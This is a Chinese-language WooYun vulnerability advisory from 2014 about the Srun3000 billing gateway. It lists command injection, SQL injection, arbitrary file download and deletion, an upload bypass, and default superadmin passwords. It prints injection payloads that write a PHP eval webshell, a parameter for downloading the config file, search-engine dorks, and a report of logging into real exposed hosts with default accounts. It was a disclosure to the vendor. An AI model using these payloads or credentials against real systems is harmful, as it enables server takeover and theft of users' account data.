漏洞概要 关注数(30) 关注此漏洞
缺陷编号: WooYun-2014-67793
漏洞标题: Srun3000计费系统漏洞集合
相关厂商: srun.com
漏洞作者: Ano_Tom
提交时间: 2014-07-09 11:03
公开时间: 2014-10-07 11:04
漏洞类型: 命令执行
危害等级: 高
自评Rank: 20
漏洞状态: 厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org
Tags标签: 无
漏洞详情
披露状态:
2014-07-09: 细节已通知厂商并且等待厂商处理中
2014-07-10: 厂商已经确认,细节仅向厂商公开
2014-07-13: 细节向第三方安全合作伙伴开放(绿盟科技、唐朝安全巡航、无声信息)
2014-09-03: 细节向核心白帽子及相关领域专家公开
2014-09-13: 细节向普通白帽子公开
2014-09-23: 细节向实习白帽子公开
2014-10-07: 细节向公众公开
简要描述:
问题很严重,综合各个漏洞,可以随意getshell,漏洞大致有默认配置不当、命令执行、越权操作、未授权访问、SQL注入、任意文件删除、任意文件下载、任意允许类型文件上传
详细说明:
注:部分漏洞内容重复
说明:
查看之前厂商的回复得知,最新版应该为Srun3000 [3.00rc14.17.15],而且新版本代码全部加密(其实代码加密不能从根本上解决安全问题,有时会变得更不安全),同时提供框架校验,命令执行不采用shell模式等等,修复了很多问题。
由于暂时未能看到最新版,所以测试的版本为Srun3000 [3.00rc14.17.4]。总结了一下发现的问题,还请厂商进行查证,看哪些问题已经修复了,哪些问题还未修复。
若已经修复,还请通知使用低于该版本的产品的客户及时更新,毕竟危害很大(因为其通常与一些敏感数据库相连接,使用量较大涉及金钱等);若未修复,还请及时出漏洞补丁。:)
产品目录结构:
Srun3000 [3.00rc14.17.4]系统的相关信息如下
系统默认端口为8800,对应的web路径为/srun3/srun/services/
端口为8080的对应web路径为/srun3/srun/web/
端口为8081的对应的web路径为/srun3/srun/system/
端口为80的对应的web路径为/srun3/web/
/srun3/srun/services/为学生登录查看自己的个人信息,个人上网记录等,其数据库密码加密方式为密码md5然后从第9位开始取16位,数据库表为user
登录地址为http://xxoo:8800/
/srun3/srun/web/ 对应的管理员对用户的管理 ,其数据库密码加密方式为密码md5,对应的数据库表为sysmgr 有两个帐号admin密码admin support
登录地址为http://xxoo:8080/
/srun3/srun/system/对应的管理员对服务器的管理,其密码加密方式为md5.js加密的,而其存放位置即系统的位置/srun3/etc/srun.conf文件里
登录地址为http://xxoo:8081/
/srun3/srun/web/应该为综合web页面,网关入口
登录地址为http://xxoo:80/
漏洞情况:
一、80端口的服务,对应的绝对路径为/srun3/web/
说明:该服务为用户认证系统,标准网关入口,其相关数据存储在内存里的,是同步用户数据库里的数据的。
查看官方说明如下
1.命令执行漏洞:[之前白帽基本都提交过,不知官方如何修复的]
/srun3/web/user_info.php
代码:
同理/srun3/web/user_info1.php、/srun3/web/user_info_en.php、/srun3/web/online.php、/srun3/web/do_command.php、/srun3/web/rad_online.php、/srun3/web/jp.php中都存在
命令执行漏洞不一一列举了,其实该web目录下的所有文件,都应加个权限认证,有管理权限才可以访问执行。命令执行的漏洞利用exp为
|echo "<?php @eval(\$_POST[222]);?>">/srun3/web/js/a.php
2.越权访问
漏洞文件/srun3/web/do_command.php 无需管理帐号即可让任意用户下线
任意用户写网站公告
由官方文档可知,用户的网关验证密码存储在内存里,因而此处可以修改任意登录的用户的密码
总之,该文件里的所有操作都未进行权限判断,导致可以执行几乎所有的操作。
二、8800端口的服务,对应的绝对路径为/srun3/srun/services/
说明:该服务为用户自助管理系统:提供用户自助明细查询、修改密码及卡充值功能。
即上网需要使用的帐号,其帐号密码存储在数据库user表中,密码加密方式为密码md5然后从第9位开始取16位
1.注入漏洞
漏洞文件:/srun3/srun/services/modules/userbills/controller/userbills_controller.php
代码:
函数代码
打印账单时候触发,测试时的截图(服务默认root权限)
2.任意文件下载漏洞
昨天提交的http://**.**.**.**/bugs/wooyun-2010-067666
3.任意文件删除漏洞
昨天提交的http://**.**.**.**/bugs/wooyun-2010-067667
三、8081端口的服务,对应的绝对路径为/srun3/srun/system/
说明:该服务为管理员对整个服务器设备的管理,对网关服务器进行配置,管理用户,指定全局策略等。
其密码加密方式为md5加密,而其存放位置是/srun3/etc/srun.conf文件里
1.命令执行漏洞
之前白帽提交的命令执行漏洞
不需要登录的有以下几个文件:
radtest.php、get_online_user.php
需要登录的有以下几个文件:
log.php、mem_user.php、online_user.php、show_flux.php
以下为平台未提交过的,存在命令执行漏洞,由于添加了session认证,需要登录。虽然需要登录,但是可以综合前面的任意文件下载漏洞(无需登录)获得管理员密码或者利用其默认配置不当缺陷(默认帐号admin和support)获得管理密码,从而继续利用命令执行漏洞直接获得服务器的root权限。
漏洞文件/srun3/srun/system/nat.php
结果为
以下同样存在,就不截图验证了
/srun3/srun/system/flux_tab.php
EXP-POST数据为:action=clean&ip=|echo "<?php @eval(\$_POST[222]);?>">/srun3/web/js/a.php
/srun3/srun/system/online_user6.php
EXP-POST数据为:action=drop&uname=|echo "<?php @eval(\$_POST[222]);?>">/srun3/web/js/a.php
/srun3/srun/system/online_user_rad.php
EXP-POST数据为:action=drop_user&uname=|echo "<?php @eval(\$_POST[222]);?>">/srun3/web/js/a.php
/srun3/srun/system/tab.php
EXP-POST数据为:tab=|echo "<?php @eval(\$_POST[222]);?>">/srun3/web/js/a.php
四、8080端口的服务,对应的绝对路径为/srun3/srun/web/
说明:该服务为操作员管理系统:提供用户管理、缴费、计费策略定制、统计等功能。
即为管理帐号,其对应的数据库表为sysmgr ,密码加密方式为密码md5。
管理帐号默认有两个 一个为admin默认密码为admin、一个为support默认密码为bbspass都是超级管理员组。
1.默认配置不当
其使用的admin support帐号都为超级管理员,默认密码分别为admin和bbspass。而此类超级管理员帐号应该第一次登录时候提示更改,或随机设置。实际测试中发现,管理员通常修改了8081端口服务admin的密码,但未修改8080端口服务admin的密码;或者两者的admin密码都修改了,但是未修改srun远程服务的帐号support的密码。而support帐号为超级管理员权限,可进行任意的充值、添加删除用户、添加管理等等。
由于该产品可能很多是禁止外部访问的,此处利用google获得的几个地址,关键字index.php?action=userregister或/index.php?action=editpwd或srun3000系统自服务管理平台等等。此处筛选了15个链接,其中测试情况为
默认帐号登录失败的有
http://**.**.**.**:8800/
**.**.**.**:8800/
http://**.**.**.**:8800/
http://**.**.**.**:8800/非法ip
**.**.**.**:8800/
**.**.**.**:8800
登录成功的有(admin登录不成功,但support登录成功)
**.**.**.**:8080/ support可以登录
http://**.**.**.**:8080/ support可以登录
**.**.**.**:8080/ support可以登录
**.**.**.**:8080/ support可以登录
**.**.**.**:8080/ support可以登录
**.**.**.**:8080/ support可以登录
**.**.**.**:8080/ admin可以登录
**.**.**.**:18081/ admin可以登录
**.**.**.**:8080/ admin可以登录
以下是部分截图,其中有的数据高达32万条,危害还是比较大的。
2.任意文件下载漏洞(无需登录)
与之前提交的类似,应该是同一个模版改写的。
漏洞文件/srun3/srun/web/modules/login/controller/login_controller.php
函数声明文件为/srun3/srun/web/modules/modules.php
漏洞利用 构造exp:ts=download&file=/srun3/etc/srun.conf 该文件存储了管理员的md5加密的密码
如图
3.设计缺陷
看官方文档获得,其每天应该对数据库进行一次备份,而备份的文件命名是有规律的,文件名形式{年月日}.tar.gz
其实这也不能算设计缺陷,因为其并未存放在web目录下,无法下载。但此处恰好又有了任意文件下载漏洞,从而可以将其下载,这也证实了该任意文件下载的危害其实很大。该文件存储的是整个数据库的文件,包括管理员(充值缴费管理员等)以及所有上网用户的帐号密码等数据。
下载后如图
管理员数据表为sysmgr,普通用户的数据表为user
4.任意文件删除漏洞(无需登录)
由于此服务都是运行在root权限下,因而可删除任意文件,若被恶意利用,会产生很坏的影响
漏洞文件:/srun3/srun/web/modules/login/controller/login_controller.php
代码:
函数
5.任意允许类型文件上传
漏洞文件:/srun3/srun/web/include/function/upload.php
代码
只验证了referer,本地伪造Referer: http://x.x.x.x x为服务器的ip, 即可上传,并未进行权限的认证,导致可以上传允许文件的扩展名的任意文件。
其中其验证后缀的函数为
很明显此正则表达式可绕过,从而上传畸形文件,如图
漏洞证明:
如上长长的详细描述
修复方案:
太多了,只希望修复漏洞并提醒低版本用户更新,因为数据太过敏感。:(
版权声明:转载请注明来源 Ano_Tom@乌云
漏洞回应
厂商回应:
危害等级:高
漏洞Rank:20
确认时间:2014-07-10 07:04
厂商回复:
感谢提供信息,我们马上修复该漏洞,方便留个联系方式么?
最新状态:
暂无
漏洞评价:
对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值